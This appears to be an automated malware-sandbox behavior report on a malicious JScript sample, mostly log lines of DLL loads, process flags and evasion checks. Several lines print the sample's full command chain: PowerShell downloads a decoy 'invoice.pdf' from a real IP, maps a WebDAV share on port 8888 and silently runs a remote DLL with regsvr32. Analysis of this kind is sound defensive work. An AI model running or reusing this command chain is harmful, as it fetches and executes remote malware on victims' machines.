Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1175.js.csv");ITextStream.WriteLine(" entry:7423 f:jcccqzr");ITextStream.WriteLine(" exec:2 f:jcccqzr");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4536			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5330			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4144	Thread sleep count: 4536 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4144	Thread sleep count: 5330 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3604	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6928	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5816	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7216	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000008.00000002.3005816803.000001D52862B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000006.00000003.1792239095.000002DF750DE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1796827597.000002DF750DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWET
Source: net.exe, 00000006.00000003.1792239095.000002DF750DE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1796428304.000002DF75080000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1796827597.000002DF750DE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3007084899.000001D52DC5B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

